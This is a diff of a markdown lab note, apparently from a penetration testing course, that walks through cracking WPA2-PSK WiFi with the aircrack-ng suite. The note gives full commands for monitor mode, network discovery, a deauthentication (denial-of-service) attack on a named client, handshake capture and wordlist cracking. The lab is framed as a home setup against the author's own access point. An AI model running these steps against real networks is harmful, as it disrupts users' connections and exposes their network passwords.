|
1 |
| -# 7. Wireless Attacks |
| 1 | +# 7. Wireless Attacks |
| 2 | + |
| 3 | +## Wireless penetration testing |
| 4 | + |
| 5 | +➡️ A **Wireless Penetration Test** involves the assessment of a wireless network’s security, including `WPA2-PSK` and `WPA2-Enterprise`, by: |
| 6 | + |
| 7 | +- evaluating PSK strength |
| 8 | +- reviewing nearby networks |
| 9 | +- assessing guest networks |
| 10 | +- checking network access to identify vulnerabilities |
| 11 | + |
| 12 | +**Tools** |
| 13 | + |
| 14 | +- Wireless card (`e.g.` Alfa ... / Kali compatible adapters) |
| 15 | + - check [Best Kali Linux Compatible USB Adapters 2024 – WirelesSHack](https://www.wirelesshack.org/best-kali-linux-compatible-usb-adapter-dongles.html) |
| 16 | +- Router |
| 17 | +- Laptop |
| 18 | + |
| 19 | +### The Hacking process (WPA2 PSK) |
| 20 | + |
| 21 | +➡️ **Place** |
| 22 | + |
| 23 | +- Place wireless card into monitor mode |
| 24 | + |
| 25 | +➡️ **Discover** |
| 26 | + |
| 27 | +- Discover information about network - Channel, BSSID, etc |
| 28 | + |
| 29 | +➡️ **Select** |
| 30 | + |
| 31 | +- Select network and capture data |
| 32 | + |
| 33 | +➡️ **Perform** |
| 34 | + |
| 35 | +- Perform deauthentication attack (optional) |
| 36 | + |
| 37 | +➡️ **Capture** |
| 38 | + |
| 39 | +- Capture WPA handshake |
| 40 | + |
| 41 | +➡️ **Attempt** |
| 42 | + |
| 43 | +- Attempt to crack the handshake to get the password |
| 44 | + |
| 45 | +--- |
| 46 | + |
| 47 | +## WPAPS2 Exploit |
| 48 | + |
| 49 | +> 📌 Check my [OpenWrt & WiFi Exploitation](https://blog.syselement.com/home/home-lab/misc/openwrt-wifi-hack) home lab done with a `TP-Link EAP225 v2` and OpenWrt for a more in depth setup process |
| 50 | +
|
| 51 | +[Aircrack-ng](https://www.aircrack-ng.org/doku.php?id=Main) is a complete suite of command line tools to assess WiFi network security. |
| 52 | + |
| 53 | +- Connect the WiFi adapter to the host computer, and connect to the Kali VM |
| 54 | + |
| 55 | +```bash |
| 56 | +# Check for card presence |
| 57 | +iwconfig |
| 58 | + |
| 59 | + wlan0 IEEE 802.11 ESSID:off/any |
| 60 | + Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm |
| 61 | + Retry short limit:7 RTS thr:off Fragment thr:off |
| 62 | + Power Management:on |
| 63 | +``` |
| 64 | + |
| 65 | +➡️ [airmon-ng](https://www.aircrack-ng.org/doku.php?id=airmon-ng) |
| 66 | + |
| 67 | +- **Place** the card into monitor mode |
| 68 | + |
| 69 | +```bash |
| 70 | +# Kill unnecessary processes |
| 71 | +sudo airmon-ng check kill |
| 72 | + |
| 73 | +# Set card in monitor mode |
| 74 | +sudo airmon-ng start wlan0 |
| 75 | + |
| 76 | + PHY Interface Driver Chipset |
| 77 | + |
| 78 | + phy0 wlan0 rtw_8822bu ASUSTek Computer, Inc. 802.11ac NIC |
| 79 | + (monitor mode enabled) |
| 80 | + |
| 81 | +# Check |
| 82 | +iwconfig |
| 83 | + wlan0 IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm |
| 84 | + Retry short limit:7 RTS thr:off Fragment thr:off |
| 85 | + Power Management:on |
| 86 | +``` |
| 87 | + |
| 88 | +➡️ [airodump-ng](https://www.aircrack-ng.org/doku.php?id=airodump-ng) |
| 89 | + |
| 90 | +- Search the area and **discover** SSIDs |
| 91 | +- **Select** the network to capture data from |
| 92 | + |
| 93 | +```bash |
| 94 | +mkdir -p $HOME/tcm/peh/wifi && cd $HOME/tcm/peh/wifi |
| 95 | + |
| 96 | +sudo airodump-ng wlan0 |
| 97 | + |
| 98 | +# Capture the handshake |
| 99 | +sudo airodump-ng -c 6 --bssid 22:66:CF:7D:D6:14 -w capture wlan0 |
| 100 | +``` |
| 101 | + |
| 102 | + |
| 103 | + |
| 104 | +➡️ A **Deauthentication (Deauth) Attack** is a type of **Wi-Fi denial-of-service (DoS) attack** where an attacker forcibly disconnects devices from a wireless network by sending **fake deauthentication frames** to the target device or access point, and capture the handshake when the device re-connects to the Wi-Fi network. |
| 105 | + |
| 106 | +➡️ [aireplay-ng](https://www.aircrack-ng.org/doku.php?id=aireplay-ng) |
| 107 | + |
| 108 | +- **Perform** de-auth attack and **capture** WPA handshake |
| 109 | + |
| 110 | +```bash |
| 111 | +# De-auth attack |
| 112 | +sudo aireplay-ng -0 1 -a 22:66:CF:7D:D6:14 -c 48:E1:E9:E6:91:02 wlan0 |
| 113 | +``` |
| 114 | + |
| 115 | + |
| 116 | + |
| 117 | +➡️ [aircrack-ng](https://www.kali.org/tools/aircrack-ng/) |
| 118 | + |
| 119 | +- Attempt **cracking** of the captured handshakes |
| 120 | + |
| 121 | +```bash |
| 122 | +ls |
| 123 | + |
| 124 | +capture-01.cap |
| 125 | +capture-01.csv |
| 126 | +capture-01.kismet.csv |
| 127 | +capture-01.kismet.netxml |
| 128 | +capture-01.log.csv |
| 129 | + |
| 130 | +# Create a wordlist, with the testing WiFi lab password |
| 131 | + |
| 132 | +# Crack the handshake |
| 133 | +aircrack-ng -w wordlist.txt -b 22:66:CF:7D:D6:14 capture-01.cap |
| 134 | +``` |
| 135 | + |
| 136 | + |
| 137 | + |
| 138 | +--- |
| 139 | + |
0 commit comments